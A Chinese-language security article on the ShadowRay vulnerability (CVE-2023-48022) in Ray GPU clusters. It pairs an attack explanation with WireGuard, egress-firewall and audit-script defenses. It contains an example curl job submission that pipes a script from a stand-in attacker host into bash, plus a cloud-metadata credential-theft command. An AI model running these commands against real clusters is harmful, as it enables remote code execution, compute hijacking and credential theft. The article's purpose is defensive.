生成式基座大模型与分布式深度学习的爆发式增长,使得配备专业图形处理器(GPU)的计算集群成为现代科技企业中价值最高的基础设施。为了在由成百上千个 GPU 节点构成的网络中高效调度大模型预训练、基于人类反馈的强化学习(RLHF)以及海量推理服务,研发团队普遍采用专门的分布式任务编排框架。

其中,由 Anyscale 主导开源的 Ray 框架已被前沿人工智能实验室与企业广泛部署。然而,Ray 的初始架构设计将计算效率与内部节点间的低延迟通信置于首位,默认假设系统运行于完全可信的网络内部。这种对零信任边界的缺失,特别是管理守护进程未引入原生双向身份验证机制,导致了编号为 CVE-2023-48022 的重大安全危机,即业内常说的 ShadowRay 攻击行动。

+-------------------------------------------------------------------------------+
|                       SHADOWRAY GPU 算力集群渗透链路                          |
+-------------------------------------------------------------------------------+
| 1. 无保护网络端口扫描                                                         |
|    └─ 公网或企业内网探测到开放的 Ray Dashboard 端口 (TCP 8265)               |
| 2. 通过 REST API 注入远程计算作业                                             |
|    └─ 攻击者直接向未鉴权的接口发送指令:POST /api/jobs/                      |
| 3. 通过 Raylet 分发分布式执行载荷                                             |
|    └─ 主节点 (Head node) 将作业派发给各 GPU 工作节点 (TCP 10001)              |
| 4. 在 GPU 工作节点上获得远程代码执行权限 (RCE)                                 |
|    └─ 系统 Shell 脚本在工作进程权限下执行(通常为 root)                      |
| 5. 后渗透与内网横向横行                                                       |
|    ├─ 霸占 NVIDIA H100/A100 算力进行未授权加密货币挖矿 (T1496)                |
|    ├─ 探测云原生元数据接口 (169.254.169.254) 窃取 IAM 凭证                   |
|    └─ 秘密外传大模型权重文件 (.safetensors) 与专有训练集                      |
+-------------------------------------------------------------------------------+

保护分布式 AI 基础设施,要求安全架构师彻底抛弃应用层的默认信任,从三层网络底层构建严密的加密网格边界。


Ray 架构剖析与 CVE-2023-48022 漏洞根因

Ray 采用经典的主从(Head-Worker)分布式拓扑。分析其面临的网络威胁,必须深入理解各内部进程的监听端口及其通信机制。

1. Ray 拓扑结构与核心端口分布

一个标准的 Ray 集群主要包含以下核心组件:

  • Ray 仪表板与作业 API(端口 8265):提供硬件资源利用率图表、系统日志可视化,并暴露用于提交 Python 计算作业的 HTTP REST 接口(/api/jobs/)。
  • 全局控制存储 GCS(端口 6379):通过嵌入式键值存储维护全局元数据、任务派发状态与对象血缘关系。
  • Ray 客户端服务器(端口 10001):允许外部 Python 客户端直接与集群建立交互式远程调用会话。
  • Raylet 与 Plasma 内存共享池(端口 10002–19999):负责跨节点的高性能 RPC 过程调用、共享内存同步与 GPU 张量数据传输。
Ray 集群网络架构:
[ 外部非受信任网络 / 扁平内网 ]
                │
                ▼ (未加鉴权端口:TCP 8265 / 10001)
┌────────────────────────────────────────────────────────┐
│ Ray 主控制节点 (Head Node)                             │
│  ├── 仪表板 Web 界面与 REST API (端口 8265)           │
│  ├── 全局控制存储 GCS (端口 6379)                      │
│  └── Ray Client 客户端服务端 (端口 10001)              │
└───────────────────────┬────────────────────────────────┘
                        │ 内部 gRPC / RPC 通信
        ┌───────────────┴───────────────┐
        ▼                               ▼
┌──────────────────────┐        ┌──────────────────────┐
│ Ray 计算节点 1       │        │ Ray 计算节点 2       │
│  ├── Raylet 守护进程 │        │  ├── Raylet 守护进程 │
│  └── 8x NVIDIA H100  │        │  └── 8x NVIDIA H100  │
└──────────────────────┘        └──────────────────────┘

2. ShadowRay(CVE-2023-48022)攻击技术细节

在开源设计之初,Ray 未在组件间引入身份认证或访问控制令牌,设计者预设外部防火墙会承担所有的安全边界职责。然而在现代云原生架构中,开发团队通过 KubeRay Operator 在 Kubernetes 集群中部署,或在裸机云服务器中运行时,相关服务常常无意中绑定到 0.0.0.0,或通过缺少鉴权中间件的 Ingress 控制器暴露于公共网络。

攻击者一旦探测到开放的 TCP 8265 端口,只需发送一个普通的 HTTP 请求即可完成远程代码注入:

# 向未受保护的 Ray 主节点提交恶意执行作业
curl -X POST "http://<target-ray-head>:8265/api/jobs/" \
  -H "Content-Type: application/json" \
  -d '{
    "entrypoint": "curl -s http://attacker-c2[.]xyz/loader.sh | bash",
    "runtime_env": {
      "env_vars": {"CLUSTER_TARGET": "ai-training"}
    }
  }'

主节点接收到请求后,立即在 GCS 中登记该作业,并通过任务调度器分发至各个计算节点上的 Raylet。脚本随后在装有昂贵 GPU 的主机上直接执行,通常具备宿主环境或容器内最高系统权限(Docker 容器内默认为 root)。

3. 横向渗透与云上 IAM 凭证窃取

在工作节点容器内获得执行权限后,攻击程序通常会自动请求公有云(如 AWS 或 GCP)的本地链路实例元数据服务(IMDS):

# 在失陷的 Ray 容器内请求云厂商元数据服务提取 IAM 临时凭证
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

借助截获的 IAM 角色密钥,黑客可以进一步渗透企业的云端对象存储(如 Amazon S3),窃取企业耗资数百万美元训练的专有模型权重文件或核心机密数据。


集群网络攻击链与数据外发威胁

针对此类威胁,部分团队尝试仅在端口 8265 前部署简单的反向代理(如携带 Basic Auth 的 Nginx)。这种防护措施仅挡住了单一入口。节点之间通信所依赖的端口(6379、10001 及动态端口)依然在底层局域网中以明文且无身份鉴权的方式传输。

在扁平的数据中心内网环境中,若同网段内的其他测试服务器被攻破,黑客便可直接监听 Ray 内部的 RPC 流量、篡改计算张量参数,甚至截获网络中传输的模型权重快照。

集群网络威胁拓扑:
[ 攻击者 / 局域网失陷节点 ]
        │
        ├── (1) 扫描端口 8265 -> 利用开放 API 实施未授权远程代码执行
        │
        ├── (2) 盗取云元数据 -> 请求 169.254.169.254 截获云访问密钥
        │
        ├── (3) 内网明文监听 -> 捕获未加密 GCS/RPC 中的专有模型张量
        │
        └── (4) 反弹 Shell 出站 -> 与外部攻击者 C2 服务器建立恶意通道

因此,构建真正的安全防线,必须将整个算力集群从公共网络拓扑中解耦,采用三层全流量加密网格进行防护。


零信任防御架构:WireGuard 虚拟网格与微隔离

抵御 ShadowRay 风险并保护专有 AI 知识资产,需要建立涵盖私有网段编排、三层 WireGuard 点对点加密隧道与严格出站防火墙的纵深防御体系。

+-------------------------------------------------------------------------------+
|                       AI GPU 算力集群纵深防御架构                             |
+-------------------------------------------------------------------------------+
| 第一层:WireGuard 三层加密网络网格 (10.66.0.0/24)                             |
| ├─ 所有主节点与计算节点的通信严格限制在私有虚拟网格内部                       |
| ├─ 采用 ChaCha20-Poly1305 算法对所有 gRPC 和对象存储流量进行全线速加密        |
| └─ 完全不在宿主机物理网卡或公网 IP 上暴露内部集群端口                         |
+-------------------------------------------------------------------------------+
| 第二层:出站微隔离与云元数据防护屏障                                          |
| ├─ 全面阻断计算容器对 169.254.169.254 元数据接口的未授权请求                  |
| ├─ 出站流量严格收紧;工作节点不可主动向未经验证的外部 IP 发起连接             |
| └─ 依托 Anycast 递归 DNS 黑洞拦截潜在的恶意 C2 域名                           |
+-------------------------------------------------------------------------------+
| 第三层:基于安全 VPN 客户端的远程运维                                         |
| ├─ Ray Dashboard 仅绑定在虚拟网卡 IP (10.66.0.1) 上                           |
| ├─ 运维与算法工程师必须通过经过认证的 WireGuard / RiceGuard 隧道接入           |
| └─ 开启计算作业提交审计日志,形成不可篡改的追踪链路                           |
+-------------------------------------------------------------------------------+

1. 构建 GPU 节点专属的 WireGuard 加密网格

不同于让 Ray 组件盲目监听 0.0.0.0,管理员应在各物理节点间建立一套专用的 WireGuard 虚拟私有网段(例如 10.66.0.0/24)。

Ray 主控制节点的 WireGuard 接口配置示例:

# /etc/wireguard/wg-ai.conf (Ray 主控制节点)
[Interface]
Address = 10.66.0.1/24
PrivateKey = <主节点私钥>
ListenPort = 51820

# 防火墙钩子:仅允许来自虚拟网格接口的访问
PostUp = iptables -A INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
PostDown = iptables -D INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT

# 计算节点 1
[Peer]
PublicKey = <计算节点_1_公钥>
AllowedIPs = 10.66.0.11/32
Endpoint = 192.168.10.11:51820
PersistentKeepalive = 25

# 计算节点 2
[Peer]
PublicKey = <计算节点_2_公钥>
AllowedIPs = 10.66.0.12/32
Endpoint = 192.168.10.12:51820
PersistentKeepalive = 25

启动集群时,显式指定守护进程仅绑定虚拟网格地址:

# 启动 Ray 主节点并严格绑定在 WireGuard 网格 IP
ray start --head \
  --node-ip-address=10.66.0.1 \
  --dashboard-host=10.66.0.1 \
  --port=6379 \
  --dashboard-port=8265 \
  --disable-usage-stats

所有计算节点同样通过虚拟网格 IP 接入(--address=10.66.0.1:6379 --node-ip-address=10.66.0.11)。各节点间的所有通信均在内核层完成线速加密,彻底免遭内网嗅探。

2. 出站微隔离与云厂商元数据防御

即使某个容器因依赖库漏洞被植入代码,主机层面的防火墙规则也能阻断反弹 Shell 和云凭证窃取尝试。

专为 GPU 节点定制的防火墙隔离脚本:

#!/usr/bin/env bash
# GPU 计算节点出站控制与元数据防护脚本
set -euo pipefail

WG_IF="wg-ai"
METADATA_IP="169.254.169.254"

# 默认丢弃转发包
iptables -P FORWARD DROP

# 清理原有规则
iptables -F
iptables -X

# 允许已建立的合法连接
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# 强行阻断容器对云元数据服务的访问
iptables -A OUTPUT -d "$METADATA_IP" -j DROP

# 仅允许在 WireGuard 虚拟网格网段内进行通信
iptables -A OUTPUT -o "$WG_IF" -d 10.66.0.0/24 -j ACCEPT

# 阻断物理网卡向外部网络发起的常规出站 TCP 连接
iptables -A OUTPUT -p tcp -m multiport --dports 22,80,443,4444,8080 -o eth0 -j DROP

# 强制 DNS 流量经由隧道内的 Anycast 递归节点解析
iptables -t nat -A OUTPUT -p udp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -p tcp --dport 53 -j REJECT --reject-with tcp-reset

echo "GPU 计算节点出站微隔离规则已激活。"

威胁仿真与安全审计验证

为了检验 Ray 集群是否已经完全屏蔽了非授权探测,管理员可以在 WireGuard 虚拟网格外的主机上发起针对性扫描测试:

#!/usr/bin/env bash
# Ray GPU 集群安全合规测试探测脚本
TARGET_IP="192.168.10.10" # 主控制节点的物理局域网 IP

echo "[*] 第一步:探测物理接口上的 Ray Dashboard 端口..."
if nc -z -v -w 3 "$TARGET_IP" 8265 2>&1 | grep -q "succeeded"; then
    echo "[!] 警告:物理网络可访问端口 8265!集群存在暴露风险。"
else
    echo "[+] 正常:物理接口上的端口 8265 已关闭或被防火墙丢弃。"
fi

echo "[*] 第二步:探测 Ray Client 服务端口 (10001)..."
if nc -z -v -w 3 "$TARGET_IP" 10001 2>&1 | grep -q "succeeded"; then
    echo "[!] 警告:端口 10001 开放!存在远程代码执行风险。"
else
    echo "[+] 正常:端口 10001 已得到安全防护。"
fi

如果外部扫描确认物理接口端口均处于关闭或超时状态,便证明只有通过持有安全私钥的 VPN 客户端才能连接并管理算力资源。


结语

ShadowRay 漏洞事件为整个 AI 工程领域敲响了警钟:在支撑数以亿计计算资源的大规模深度学习集群中,默认的边界信任机制已无法抵御狡猾的网络攻击。

通过引入 WireGuard 三层加密网格、将关键服务收敛于私有虚拟网络、并辅以严格的出站微隔离,团队能够构建起多层互补的防御壁垒。即使身处复杂的混合云网络环境中,高价值的分布式 AI 计算任务也能抵御入侵渗透、算力霸占与模型资产外泄风险。